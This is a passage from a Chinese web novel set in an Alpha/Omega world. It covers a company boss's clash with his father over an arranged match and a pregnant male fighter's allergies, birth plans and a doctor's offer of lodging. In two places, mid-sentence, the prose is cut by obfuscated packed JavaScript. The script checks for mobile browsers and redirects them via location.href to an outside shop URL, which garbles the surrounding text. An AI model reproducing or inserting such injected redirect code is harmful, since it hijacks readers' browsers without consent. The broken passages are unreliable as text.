往那边撇一眼,闻人律看见自家父亲正同一个头发花白的Alpha男士说话,身旁立着继母赵贞芩和弟弟闻人杰。方才三婶那一声喊引得人人侧目,父亲和继母尚能沉得住气,但他们的儿子毕竟年轻,才22岁,此时忍不住恶狠狠地瞪着自己,像看仇人一般。闻人律睨着他与继母愈发相像的容貌,不禁哂笑一声,冷淡地收回视线:“不必。我还是不打扰他们阖家欢乐了。” 只可惜事与愿违,下一秒,闻人谦信的声音就远远地响了起来:“小律,过来!有位叔叔想认识你。” 那位头发花白的Alpha随之转脸望向这边,笑容慈祥而深沉,眉头处十分明显地长着一颗肉痣,令人见之难忘。闻人律心头一震,立即走了过去:“何主任,你好!” “哎,你好!”眼前的人正是申城市□□会主任,何立峰。对方稀罕地上下打量他一眼,脸上笑容不禁愈加灿烂:“信老弟,你怎么不告诉我你有个Alpha儿子在申城?还是个这么出挑的Alpha!” 闻人谦信笑笑,看似谦虚,但明眼人都看得出他眼底的骄傲:“小孩子年轻气盛,一个人跑来申城闯荡,说不想借我的光。那行吧,不借就不借,我也没指望他搞出什么名堂,所以就没跟你说。” “这么有志气啊!”何主任的眼神更赞赏了,眼角眉梢甚至透出一丝忘形的喜爱:“你就是小律吧?”他笑眯眯地对闻人律道,“其实我听过你的名字。我想你肯定是京城闻人家的,但你爸没说,我就以为你是他的堂侄。你那公司发展得好像不错,有几个选手还上过央视的节目,是不是?” “是,去年奥运会时,派了柔道散打等几名选手去做特邀的解说嘉宾。”在陌生的长辈面前,闻人律惯来态度端正,加上他身材高大、面容俊美,何主任是越看越满意。对方完全忘记了赵贞芩和闻人杰的存在,转身正对着他,高兴地问:“你八月底满二十九岁是吧?真是巧了,我女儿比你小一岁,也是八月的生日!而且她也喜欢看体育赛事,尤其拳击比赛。要不,她生日宴会时,我请你来,介绍你俩认识一下?” 这话就是赤裸裸的拉红线了!闻人律心中默默地一沉,笑容变得有些生硬。但在那一刻,他眼睛的余光看见闻人谦信在一旁面露笑容,居然也殷切地望着自己!……霎时间,他明白了,父亲这一次来,也许不止想逼他“立业”,更想让他“成家”。 见他没有立即回答,何主任还以为是自己太心急了:“哈哈,我是不是唐突了呀?贤侄,你现在有恋人吗?” “他哪儿有恋人!”这一次,闻人谦信替他回答了问题:“几年前就分手了!这些年他一直忙着公司,都没谈恋爱呢。” “还是谈过一个的,不过在去年分手了。”不得不开口解释,闻人律歉意地笑笑,点头道:“何主任,令千金的生日宴,我一定会去的。” “哈哈哈,那太好了!来来,把你电话给我,以后咱们常联系。”何主任大笑着掏出手机,神态殷切,全无长辈的架子。不禁瞥一眼面色铁青的继母和弟弟,闻人律莫名笑一笑,随即将电话号码一字一字地报给了何主任。 ----------------- 那天晚上回到家,入睡前,他接到了父亲的电话。 “今日给你介绍的那几个人,你都记住了吗?他们都是我的校友,其中何主任是我同学,大学时我们关系很好,你可以多跟他亲近亲近。以后在申城遇见事情,说不定得请他帮忙的。他那女儿我见过,一个Omega,长得挺清秀,勉强能配你。何主任希望她尽快结婚,你俩见面之后,谈个半年也差不多了。明年年中订婚,年底结婚,后年孩子生出来,你正好三十一岁……跟当年的我差不多。” 他自顾自地安排了一大堆,闻人律面无表情地听着,末了冷笑一声:“怎么,我小的时候你爱答不理,现在倒开始催我结婚生子了?你不怕我跟你当年一样?” “说什么胡话!”孩子一旦不顺他的意,闻人谦信立即露出了专制的本性:“人家何小姐是清清白白的Omega,哪像你妈是个二婚!” “哈!”不禁嘲讽地大笑一声,闻人律怒道:“二婚也是你求着结的,我妈可没有逼着你娶她!” “如果当时我有更好的选择,你以为我会要她?!”提起往事,闻人谦信仍然理直气壮地觉得那是个污点:“……我现在懒得跟你扯这个,你也别跟我死揪着不放!我已经够体谅你的了——你说不想回京城,那好,我把我申城的人脉介绍给你,结果你居然没一句好话!你这个忘恩负义的德行,就跟你妈一模一样!” 话不投机半句多,闻人律面色铁青,怒道:“你没资格说我妈!”随即把电话一挂、手机一关,咬牙切齿地把自己裹进了被窝里。 第二日去公司,陆庭风这个八卦精自然要来打探一番昨夜的事情。闻人律略去了睡前那通电话,只跟他说了何主任。陆庭风好像想起什么,猛地挺直脊背道:“他女儿!我见过两次,挺不错的一个Omega。你可以认识认识,要是真的成了,也不失为一桩好姻缘。” 嘿这个人!闻人律忍不住冷瞪他:“那你怎么不跟她发展?你爸妈不是说,等你结了婚才能回去接管公司吗?这不正好,你跟她谈恋爱、结婚,就能完成他们的心愿了。” “哎呀!”陆庭风心烦地跳起来:“你真是哪壶不开提哪壶!行了行了我不说了好吧,我工作去……!”火烧屁股地走了。 往后几日,闻人谦信倒是没再来对他颐指气使。听小晴说,他们一家三口自己都闹得不可开交,估计没空来烦自己,他也因此过了一阵儿清净日子。又过了一个星期,听说赵贞芩和闻人杰回京城了,临走前去葛玉蓉那儿哭了顿狠的,说弟妹呀你们大哥关节不好,老待在江南不是个事儿。小律也不知怎么怂恿的,他就是铁了心不回去……你们劝劝他吧。不为别的,我就是为他的身体考虑! 闻人律冷笑:我怂恿的?……我巴不得他走呢?扣帽子也不知道挑个合理的。 彼时恰好临近旧厂房地块的开标日期,伍沛霖的赛前宣发工作也在紧锣密鼓地进行,他忙得不可开交,也没空再关心那一家人。又过几日,开标会结束。闻人律头昏脑涨地松口气,起身倒咖啡时忽然发现自己腰背僵硬得厉害,这才恍然地想起,他好像有十一天没锻炼了。 ……真是要命。 当即跟丁教练约了下午的搏击课,顺便也去看看伍沛霖的状态如何。开车前往场馆的途中,闻人律后知后觉地想起半月未见的洛城……之前给了二十万让他请保姆,也不知他有没有好好地执行。 正想着,他停好车从侧门走进场馆,一抬头就在不远处的八角笼旁看见了洛城的身影。那厮的肌肉好像恢复了些,面颊也不再瘦骨嶙峋,这会儿正穿着背心和短裤慢悠悠地跳绳,一边跳还一边跟旁人嬉笑怒骂,看上去精神不错。他立在通道上静静地望了一会儿,莫名露出个笑,转过身不紧不慢地朝VIP训练室走去。 “洛城最近经常来么?”跟丁教练训练的间隙,他喘息着坐在笼边,一边喝水一边问了这么一句。丁教练点点头:“唔,几乎每天都来。不过他就做做有氧,跟人聊聊天,很少实战练习。” ……是么。闻人律不禁拧眉:“他是真的一点儿危机感都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583027|142950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有啊。” 丁教练在一旁嘿嘿笑:“难道你指望他像伍沛霖那样努力?……不可能的!这种天赋型运动员我见过几个,多少都带点儿懒散。除非说家里发生了重大变故,或者出现什么重要的因素逼迫他们,不然他们不会使出全力的!” “他现在要当爸爸了,也许会有改变吧。”说着,闻人律擦擦汗,戴上了拳击手套。 训练结束后,他洗过澡换上干净衣服,沿着通道走出去时,却在伍沛霖的VIP训练室门口看到了那个熟悉的身影!洛城偷偷摸摸跟个小偷似的,站在门口对面的楼梯上踮着脚,从训练室紧闭的大门上方窗户悄悄打量伍沛霖的训练实况。闻人律看得一怔,随即失笑:“怎么,现在知道紧张了?” “……卧槽!”被吓了一跳,洛城慌乱中一脚踩空,猝不及防地从楼梯上摔了下来。那瞬间,闻人律脑子里“嗡”的一声,在大脑还没有反应过来之前,身体已经先行一步,冲上去把人捞进了怀里! 待回过神来,洛城发现自己的脸离地只有五十厘米,当即吓得面色煞白,倒抽了一口凉气:“妈呀!” “你一惊一乍的做什么!”后怕地把人拖起来,闻人律也顾不上回味这颇有些熟悉的手感,满脑子只有教训他的念头。手臂开始隐隐作痛,应当是被洛城的体重和下坠的冲击力拉伤了肌肉,这让他不禁更加生气:“楼梯上那么危险,你想看不会大大方方地推门进去看?!” 这会儿洛城倒是知道避嫌了,双手局促地交叠在小腹上,眼神躲闪:“人家是进行战术练习,又不是寻常对战,我怎么好进去观摩……” “哦,不好进去观摩,所以就站到楼梯上偷看?” 争吵间,训练室的门打开,走出大汗淋漓的伍沛霖:“城哥?”他颇感意外,“你怎么在这里?” 闻人律气恼地瞪洛城一眼:“他偷看你练习呢!” “我想……我想进去看的!但是你关门了,我,我也不知道里头是谁,就从上面窗户瞅一瞅,看……看你在不在。”支支吾吾的辩解、闪烁不定的眼神,不用想就知道是假话。还好伍沛霖不计较,笑笑地抹一把汗:“城哥是要准备新比赛了吗?最近见你回来训练了。” 这个问题也是闻人律想弄清楚的,于是两双眼睛一齐紧盯着他,把洛城看得手足无措:“啊?没有啊,我就是随便练一练,找人说说话。” 什么?!闻人律感觉心里那股气又冲上了脑门:“既然你不用照顾女朋友了,那就回来比赛啊!你都不想着给宝宝赚奶粉钱的吗?” 见状,洛城心里不禁暗暗叫苦:完完完,最近来得太勤,又被这个周扒皮给盯上了!他悻悻地后退一步,一边搪塞一边伺机逃跑:“着什么急嘛,等生出来再赚钱也不迟啊……反正最近一年我是不想打比赛的,你也别催我,我要好好休息。” “——那你还来训练馆瞎晃荡?!”他退一步,闻人律就进一步,二人你退我进的,很快就抛下伍沛霖追到了场馆里去,引来众人侧目:“既然能来训练,那为什么不能比赛!……你到底要无所事事地浪到什么时候?!” “什么无所事事,你又知道我无所事事!”被他鄙夷的用词激得停下脚步,洛城转过身,瞪着一双虎目顶到他面前去,心里也来了火气:“不想我来场馆是吧?好,那以后我不来了,行了吧!不碍你的眼!”说完,在众目睽睽之下给了大老板一个白眼,转身便走。 闻人律气得话都说不出来:“你……”编不出理由就开始耍无赖,还在这么多人面前给自己甩脸子!他咬牙强压下怒气,冷着脸转身走向餐厅,气闷的同时也隐约有一丝懊恼:……我又没说不让你来嘛! ----------------- 沉着脸来到餐厅,此时正是傍晚六点,用餐的人络绎不绝,只剩下边角的位置还空着。他心不在焉地选了个角落坐下,拿出手机扫码点单:燕麦粥、藜麦饭、糙米饭……这些平日里吃惯了的粗粮,现在看上去却毫无食欲。闻人律烦躁地继续往下滑,终于发现了精致碳水:白米饭、馒头、面条,面包……嗯?面包? 场馆里的餐厅居然还提供面包啊。思考一会儿,他想起教练说运动后可以吃一些快碳,心情不禁大好,立即点了两个欧包。蛋白质的话……往后翻,看到一款西蓝花凉拌鸡蛋虾仁,虾是罗氏虾。唔,可以吃。于是又点了一份这个。 刚放下手机,餐厅大门就吵吵嚷嚷地走进来几人,其中一个声音磁性而散漫的——不用看就知道是刚才给他甩脸子的洛城! 这厮跟曹磊他们一起来吃饭,一边说笑一边点餐,闻人律听见他点了个炙烤三文鱼。曹磊还问呢:“怎么,不喜欢吃生的了?” 洛城叹口气:“我老婆说生的三文鱼有那个什么,什么尖线虫,她不敢吃,也不准我吃。哎,真是痛苦哇~” 其他人都忍不住笑他:“哟,咱们天不怕地不怕的城哥,现在变妻管严啦?” “毕竟她怀孕辛苦,我能哄就哄着呗~” ……老婆?闻人律在角落里听见,忍不住冷冷地翻了个白眼。 不多时,他们点的菜上来了。闻人律一边吃一边翻看最近各大格斗赛事的最新比赛,琢磨着有几个新人好像不错,可以让经纪人去洽谈一下,合适就签下来。正挑剔地比较着,忽然,他听见周青云在洛城那个方向惊讶地叫了起来:“城哥,你脸上怎么出了一大片红疹?” “红疹?”洛城直起身,疑惑地低头一看:“靠,胸口也有!我说呢,怎么身上有点儿痒!” 周围人不禁疑惑地凑过去,议论纷纷:“怎么回事,刚才还没有的啊……?发作这么迅速,不会是过敏吧?” “可我吃的都是以前常吃的东西,怎么会过敏呢?”说话间,洛城已经难耐地站起来,在脸上、手上四处抓挠,蜜色皮肤立即泛起一片赤红。闻人律不由蹙眉望过去,只见他身上起了大片大片的红斑风团,伴随着一粒一粒的密集红点,这症状再熟悉不过——是过敏引起的荨麻疹,小时候自己一碰海鲜就会发作的,严重时喉咙都会水肿。 正犹豫着要不要开口催他去医院,那边洛城就火急火燎地拿起运动背包,一边抓挠一边跑了出去:“你们慢慢吃吧,我去看医生——” ……还好不算太笨。轻哼一声,闻人律垂下眼,把网页上的图片又翻了一页。 33.孕期过敏,口味大变 洛城从小到大身体皮实得很,又不挑食,吃嘛嘛香,从未出现过敏的症状。如今怀孕十四周,居然莫名其妙的开始对海鲜过敏?他真是百思不得其解。 宁祁倒见怪不怪:“很多人怀孕之后,身体免疫失衡,就会容易过敏,这个很正常。不过坊间还有一个未被证实的说法——怀孕这个过程其实跟寄生有些相似。孕妇会被婴儿的基因入侵,其实也就是被丈夫的基因入侵,所以怀孕期间的一些习惯会朝丈夫靠拢。我这些年就见过好多例,他们不止习惯像丈夫,甚至生出来的孩子也跟丈夫一模一样。” “啊?”洛城挠着通红的腮帮子,没有被前半段话吓到,反倒被最后一句话吓到了:“你意思说我的孩子有可能长得不像我?!” 这时苏林菲从变态反应科拿来了孕妇能用的抗过敏药物,宁祁倒了杯水给他把药服下,诚恳且无奈地点点头:“是的,你的宝宝很有可能是……那个Alpha的翻版。” “卧槽!”洛城“咕咚”一声把药和着水一起咽下去,愤怒又惊惶地捏扁了一次性纸杯:“万一那个Alpha长得很丑怎么办?!” 宁祁和苏林菲无奈地笑笑,本想安慰他一两句,却突然觉得不对劲:“你……难道你连他的脸都没见过?” 呃。瞬间卡了壳,洛城脸上僵着一个尴尬的表情,在那两人震惊的注视下,默默地松开手,把纸杯放了回去,悻悻道:“……没看到就没看到呗,那又如何。” 跟苏林菲相互对视一眼,交换一个讳莫如深的默契眼神,宁祁适时拿出一个本子,用小心翼翼的温柔语气轻声发问:“所以,你的怀孕其实是个意外,对吗?你也不想的。” 自爆到这份上,有些东西再遮遮掩掩好像也没有意义了。洛城不禁垮了脸,破罐子破摔道:“我怎么会想怀孕啊?你真是说废话,那当然是个意外啊!” “是正好撞上了热潮期对吗?” “要不然呢?”洛城用恶狠狠的眼神瞪着他:“不然我怎么会失心疯?” 这种反问式的回答虽然不是课题小组想要的,但好歹洛城愿意开口了,他们俩也不敢提太多要求:“那,在突发热潮期之前,你有察觉到什么异状吗?比如说,心烦气躁、低烧、情绪低落之类的?” 这个问题终于偏离了某些尴尬的点,洛城面色稍霁,但还是一副老大不情愿的样子:“那段时间我妈妈脑梗去世,紧接着又求婚失败,女朋友还要跟我分手,我当然心烦气躁、情绪低落啊!……这算什么异状?” 闻言,苏林菲在边上同情地啊了一声:“天,你也太背了……” 宁祁窘迫地停顿两秒,不死心地又问:“那,除此之外呢?你有没有感受到什么特别的情绪、想法,或者某种前所未有的冲动?” ……嘿!被问得心烦,洛城忍不住抬手在桌上重重一拍,双眼猛地抬起,撂了挑子:“你问那么仔细干嘛!这些问题跟你们产科的研究有什么关系?” 宁祁和苏林菲被吓得立即悚立,本子和笔都差点儿掉到地上。怒目圆睁的洛城跟平常吊儿郎当的他是完全不一样的,那种危险而压迫的气势从他宽阔肩膀和结实长臂中透出来,仿佛下一秒就会挥起一拳,把桌子砸出一个洞。 宁祁勉强咽了口唾沫,柔声道:“因为你的情况太有研究价值,生殖科、性别科都想参与进来,院领导也批准了。只不过目前你处于孕期,激素比较稳定,所以他们暂时研究不了什么,只能托我对你进行一些问询……” 洛城一双浓眉重重地压着,眼珠子在他紧张的面庞上左右打量一圈,眼神戒备而阴鸷:“又有两个科要研究我?” “对。”宁祁无奈地笑笑,但他眼底明明透着积极求索的神情:“这两个科主要想研究你两性之间的转换问题。比如,什么情况下会引发Omega的热潮期,又是什么情况下会恢复成Alpha主导的状态。如果能搞清楚这个,我想,对你以后的生活也会很有帮助的。” 闻言,洛城情绪稍定,勉强收回视线:“你们研究就研究,干嘛打着为我好的旗号?我把宝宝生出来之后就顺便做切除卵巢和子宫的手术了,这个研究的结果与我何干?” “可是……”这时,宁祁脸上终于露出了切实的为难情绪:“选择剖腹产的话,横切口虽然比较隐蔽,但损伤太大,容易造成盆腔粘连,还有可能对你以后比赛造成影响;竖切口的损伤稍微小一些,然而伤口又太明显了,观众看见恐怕会胡乱猜测,你也不好解释。所以,我们几个医生昨天讨论了一下,觉得……你最好还是选择顺产。” “什么!”洛城震怒,左手握拳在桌角狠狠一砸,“咔嚓”一声,胶合板应声断裂:“你们怎么不早说?!” --------------------- 洛城从来没想过,“顺产”这个词有朝一日会跟自己产生联系。在他的设想中,自己只是在产房外签各种同意书的角色。不料造化弄人,六个月后,他也许只能在产房内被开指的疼痛折磨得死去活来。 “你们觉得可能吗,啊?我一个Alpha的身体条件,骨头不够软,骨盆又不够宽,我怎么顺产啊!你们是想我下面裂成那什么,南非大峡谷吗?”洛城恼火地道。 “是东非大裂谷。”宁祁在一旁提醒。 “我——管你什么谷!”拿起笔筒狠砸过去,洛城下巴都要气歪了,指着他们破口大骂:“你们不要太离谱了,腹部损伤就是伤,老子屁股的损伤难道不是伤吗?!” 杨主任平静地坐在对面,任由他发泄怒气,半晌才悠悠开口道:“但是,你们打比赛时,一般不会攻击屁股吧?小宁给我看了你上一场比赛的视频,对方击腹很猛烈。如果你开过腹,那就意味着腹部多了一处薄弱点,保不齐会被对手打迸裂的哦?” ……洛城不禁火冒三丈地瞪了宁祁一眼。 “阿城——”经过一个多月的相处,杨主任跟他已经比较熟稔,此刻便用了亲昵一些的称呼:“你先不要想着顺产有多可怕。之前我内检的时候摸过,你的生殖腔状况很好、很软,跟纯粹的Omega相差无几。而且你长得高大,身体又强壮,孕期把体重控制好、后期再利用水囊扩张产道的话,顺产应该是比较顺利的。而且相比起剖腹产,顺产恢复快、没有腹壁伤,对你的工作只有好处,没有坏处。所以我希望你能认真考虑一下……” 苦口婆心地劝了一大通,杨主任见他垂着眸、板着脸,虽然没有立即答应,但显然已经不那么坚定了。于是,她勾勾手把宁祁叫过来,使个眼神,宁祁立即会意,耐心地躬下身道:“其实也不用你立即做决定,孕期还有几个月呢,产前再答复也无妨……嗯?” 说着,他将文件夹和笔放下,一边脱白大褂一边道:“今天就先这样吧!杨主任,你回去休息吧,大家该下班的也都下班了。” 人群陆续散去,办公室里很快只剩下宁祁和洛城两人。望着他俊朗但沉闷的面容,宁祁入神地打量着,半晌缓缓蹲下,诚恳地抬起脸:“你不是晚饭吃到一半就过敏了么?现在肯定饿了吧。走,我请你吃饭。” 恹恹地瞪他一眼,洛城没说话,气闷地站起身走了出去。 这次吃的依旧是之前那家餐馆。 最近洛城的食欲已恢复如初,甚至隐约增长了些,每餐都要吃满满的三个菜,再加两大碗饭。一落座他便干脆利落地点了五个菜,有红烧肉、葱爆羊肉、凉拌牛肉等,半晌又加了满满一木桶的饭。宁祁看得心惊,心想照这么个吃法,生产时宝宝不得突破十斤大关啊……但不敢说,这人正气闷呢,还是改天再开口罢。 于是选了另一个安全的话题:“伍沛霖现在已经出发前往伦敦备赛了吧?他这次打杰克逊,排名相差不少……我感觉他可能要输。” 果然成功转移了洛城的注意力:“哼,那可不一定。”这个揣着娃的格斗选手发出了不赞同的冷笑,“杰克逊年纪大了,两年间从第三名掉到第八名——这种就叫一泻千里,是绝不可能东山再起的。伍沛霖呢,二十九岁,当打之年,今天我还看了他训练,拳法步伐都大有进步。这次杰克逊对上他,只会沦为垫脚石。” “真的?”宁祁眼睛一亮:“那我这次就买他了哦?” “买吧买吧。”这时菜上来了,洛城急不可耐地从服务生手中接过碟子放到桌上,抽了双筷子就要开动。忽然他想起什么,眯起眼望向宁祁:“上次我比赛,你押的是谁?” 宁祁一怔,掩饰地讪笑两声,没敢看他:“……押的奥康纳。” “是么。”洛城冷着脸,暗暗磨牙:“赢了多少啊?” “不多,就两千。” “……哼!” 恶狠狠地用鼻子表达了自己的不满,洛城将一次性筷子猛地掰开,夹起几片凉拌牛肉塞进嘴里,用力咀嚼。这本是自己极喜欢的口味,芹菜、香菜、辣椒同薄薄的牛肉片一齐混合出浓烈的香气,但这次嚼着嚼着,却不知怎的……总感觉有些冲鼻子?忍不住将芹菜香菜一一挑出去,把牛肉片单独送进嘴里——唔,这样就好了许多。 再吃红烧肉。往常油润软嫩的肥瘦肉块是他的最爱,今日却只觉得过于甜腻,以至于频频反胃。葱爆羊肉也是,葱味太冲、羊肉太膻,吃到最后,居然只有番茄炒蛋和清炒油麦菜是顺心的! “真是奇了怪了——”忍不住把筷子一丢,洛城那个欲哭无泪,头一次感受到了怀孕的糟心。 ----------------- 接下来的几天,洛城像做实验似的,把自己以前爱吃的东西一一尝了个遍。做唐筛那天他就忍不住跟课题小组的人疯狂抱怨:“我现在是稍微带点儿味的东西都吃不下去,葱姜蒜香菜芹菜韭菜,闻一下就讨厌!还有水果,芒果不爱吃了、榴莲不爱吃了,哈密瓜吃着也不舒服。重油重盐的东西不行,蛋糕这种甜食也不行,一天到晚就只能吃点儿粤菜——我靠,我要变成苦行僧了!” 苏林菲幸灾乐祸地瞅他一眼,一边给他的胳膊拆绑带一边道:“这不挺好么?你吃得清淡,对宝宝好,对你的身体也好。不然等你产后回归呀,人家说,哎,怎么Iron fist变成一个大胖子了!” “可我现在连食材新不新鲜都能尝出来啊!”洛城接过棉签按在针眼上,颇有些崩溃:“昨天吃的那白切鸡,一点儿鸡味都没有,我吃两口就吃不下去了——以前的我可是很好养活的!” 其他人都忍不住笑:“那你这个宝宝大概率很挑嘴,以后做辅食可有得你受喽!” 目前小东西刚满十五周。按说要十六周才做唐筛,但她发育得太好,一直偏大一周,索性就提前做了。宁祁还感叹:“看来锻炼真的很重要啊。你看你这身体素质,早期一直备赛,又跳又打又摔的,比赛当天还被奥康纳击腹二十来下,结果只是流了点儿血,胚胎依旧安然无恙!……这让那些摔一跤就流产的孕妇们上哪儿哭去?” 悄悄瞟洛城一眼,苏林菲用手掌挡住脸,回头跟宁祁轻声补了一句:“那个Alpha的身体素质肯定也很好,不然胚胎不会这么强壮的。” 但宁祁对这一点似乎不是很感兴趣,只淡淡点了点头:“嗯,可能是吧。” 抽完血照例做个B超。如今月份大了,不需要再憋尿,洛城变得非常热衷于这一项检查。他已经攒了八份B超单,记录着宝宝这几周的成长——从一颗小葡萄变成一颗小鸡蛋,现在又变成了柠檬大小。看着屏幕上安安静静躺在自己身体里的小人儿,洛城痴迷地打量着、注视着,脸上的笑容不禁变得傻乎乎:“天啊,她好可爱!你看她的小手、小脚丫……什么时候才能做四维彩超啊?” “再过六周,到时候你就能看到宝宝的长相了。”宁祁说。 检查结束后,洛城小心翼翼地将B超单叠好,塞进兜里,准备拿回出租房跟前八张一起放好。这时掏出手机,他见曹教练发来了两条信息:“阿城,你怎么不来锻炼了?我还说约你喝酒呢。” 挠挠冰凉的肚皮,洛城靠在墙边回复他:“闻人律那家伙说,我不比赛就别老去训练馆晃荡,所以我就不去了呗。”宁祁从边上经过,忍不住歪头瞥一眼,状若无意地道:“你还去锻炼啊?不怕别人看出来么。” “不至于吧——我这四个月都不到,能看出什么?”话虽然这样说,但洛城也不大确定,赶忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13592925|142950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掀起衣服忐忑地仔细打量:“我肚子还没凸起来啊。不过肌肉是平了一点……” 以往坚硬紧致的腰腹如今变得柔软了些,肌肉的轮廓被薄薄的脂肪所覆盖,看上去与休赛期的状态大差不差,依旧算得上结实健美。宁祁在一旁大饱了眼福,那双眼睛黏在洛城蜜色的腹肌上,都有些舍不得挪开:“嗯,还行,看起来没什么异状。” 这时曹教练的信息回复过来:“你管他干嘛!律总又不是天天来。而且伍沛霖那边快比赛了,前天他都出发去伦敦了,你就是把训练馆掀一个个儿,他也鞭长莫及啊!” ……也是,闻人律惯爱去国外督战的,自己出国比赛的那几次他都有到现场,次次都坐贵宾席呢。洛城失笑地收起手机,忽然眼珠子一转,露出个得逞的笑容:你不让我去,我偏要去!我不单要满训练馆晃荡,我还要用你的VIP训练室!怎么样,气死你! ------------------ 到了8月21日,中国时间的凌晨三点,UFC第291期数字赛正式开始。 头一天下午,今夏的第三个超级台风“鲸鱼”侵袭了申城。在经过六个钟的电闪雷鸣、狂风呼啸之后,半夜雨势总算小了些,变成普通的大雨。洛城生无可恋地斜躺在出租屋的沙发上,耳边是“哗啦啦”的雨声,手中是无论如何也加载不出来的视频——附近的信号站似乎被台风摧毁了,wifi和流量全面失效。无法,洛城只得咬咬牙,拿起雨伞下了楼。 他打的去了宁祁家。 跟他一样,宁祁也是场场不落地看比赛,这会儿肯定还没睡觉。撑着伞凭着之前的记忆来到宁祁家楼下,果然,输入门牌号码后等待三秒,对面立即有了回应:“洛城?你怎么来了!” “赶紧放我上楼,进门再跟你说!”洛城的衣裤湿了大半,湿哒哒地贴在皮肤上,这会儿正烦躁呢,根本没心思跟他解释。一会儿上了楼,他一进门就打了个寒颤,缩着肩膀龇牙咧嘴道:“这雨怎么下个没完啊!还冷嗖嗖的!” 宁祁略显雀跃地跟在他身后:“……要不要冲个热水澡?我拿换洗衣裤给你。” “也行。”洛城没太在意,接过他的睡衣睡裤就进了客卫。不一会儿,里头传来哗啦啦的水声,随即是洛城放松的慨叹声:“啊,活过来了!” 垂着头靠在门边,宁祁好奇地瞥一眼磨砂玻璃门,嘴边不禁笑笑,推了推眼镜:“你怎么大半夜的跑过来?也不打个电话,万一我睡了怎么办。” “我那边信号特别差,没法上网,电话也打不出去,估计是哪个基站坏了。”洛城说。 “所以你就来我家看比赛?”宁祁诧异地笑了出来。 “不行吗?”这人总是很理直气壮的,思绪跳脱、我行我素。一会儿穿着他的睡衣裤走出来,还把被雨淋湿的衣服往他手里一放:“帮我洗一下,明天我带回去。” “啊?”虽然对他是有那么点儿想法,但宁祁自认为他们之间还没到鞍前马后的地步。可这人对自己使唤得如此心安理得……无奈,他也只得摇摇头,认命地把衣服塞进了洗衣机里。半晌回到客厅,洛城已经大喇喇地敞着两条长腿坐在沙发正中间了,一双虎目专注地看着电视机里的比赛,连发梢的水滴落下来也不知道。 他比自己强壮一些,那套宽松的黑色睡衣在他身上正正合适。厚实的胸肌将真丝布料饱满地顶起来,呈现出明显的高光和阴影,仿佛两座宽厚的土丘,让人忍不住想……想爬上去。 默默咽一口唾沫,宁祁坐到他身旁,望着屏幕不知所谓地道:“副赛这些选手,你有认识的吗?” “有啊,”洛城并没有察觉他的异样,抬手指一指屏幕上的对战卡,“那个秦于朗,跟我一个公司的。这是他签约UFC的第二场比赛。” “唔。”心不在焉地点点头,宁祁已经没了看比赛的心思,一颗心只蠢蠢欲动地谋划着如何达到自己的目的。他看见洛城的双手放在膝盖上,那双经过千锤百炼、骨节粗大变形的大掌,随着比赛的紧张程度不自觉地攥紧又松开。他又望向洛城的侧脸,这匹“中国的黑骏马”似乎饿了,微厚的嘴唇不时轻抿一下,伴随着喉头轻咽的动作——食欲虽然被暂时地遗忘了,但很显然,它依旧存在。 于是宁祁起身到厨房热了一杯牛奶,加一勺糖、两块巧克力,热乎乎地搅开,杯中液体逐渐呈现出一种浓厚而丝滑的浅咖色。走回客厅,将牛奶巧克力递到洛城手里,在他心不在焉地喝下第一口、微蹙的眉心得以舒展时,宁祁试探着问了一句:“你租的那公寓,好像隔音特别差,是不是?” “昂,对啊……”洛城敷衍地回答着,忽然握拳低呼一声:“Take down!好样的!” 短促地瞥一眼屏幕,那个秦于朗已经把对手压倒在地,正凶狠地上位砸拳。宁祁思量一会儿,又道:“一个月四千多块,好像也不大划算啊……要不,你来我这儿住吧?” “嗯……嗯?”后知后觉地转过脸,洛城的注意力终于从比赛中抽了出来:“住你这儿啊?” “对。”宁祁冲他露出一个和缓的笑:“我这儿次卧一直是空的,反正也没人住,不如替你省点钱。这样不仅睡得好、出门不用担心被别人认出来,而且下次UFC比赛,你也不需要拿着手机看了——电视大屏幕多舒服啊。” 他一连道出数个优点,听得洛城眯起眼,怀疑地轻哼:“……你们医院是不是不愿意帮我出奶粉钱啊,所以才让你牺牲一个房间?” 没料到他居然这样想,宁祁的笑容僵在脸上,有一瞬间的哭笑不得。不过这也不失为一个借口:“是啊,最近医院经费紧张,这项花费我申请不下来,就只能出此下策了。不过我这儿确实挺好的,你不考虑么?” “你那男朋友,不介意吗?”洛城还记得那个颇为泼辣的Beta小帅哥。 “前阵子分手了。”宁祁露出失落的神情:“我工作太忙,他不满意,就分了。” “这样啊……那好吧,住就住呗。”不以为然地把牛奶巧克力一口气喝光,洛城放下马克杯,视线又回到了屏幕上,仿佛刚才答应的是一件无足轻重的小事。 34.略显孤单的生日 此时此刻,伦敦O2体育馆—— 夜晚九点,馆内灯火通明。无数人的呐喊声、助威声汇合成一片汹涌的风暴,中心的八角笼就是风暴眼,两名大汗淋漓的斗士就在这方寸之地相互试探、僵持周旋。 闻人律和陆庭风坐在解说员身后的贵宾席观看比赛,视野上佳,顺便还能蹭一下解说词。知名解说员乔·罗根的解说依旧激情澎湃,期间夹杂着许多感叹词,激动时甚至会破音。陆庭风听着听着,忽然掩着脸低声笑出来:“他破音时好像唐老鸭。” 闻人律不禁嫌弃地斜了他一眼。 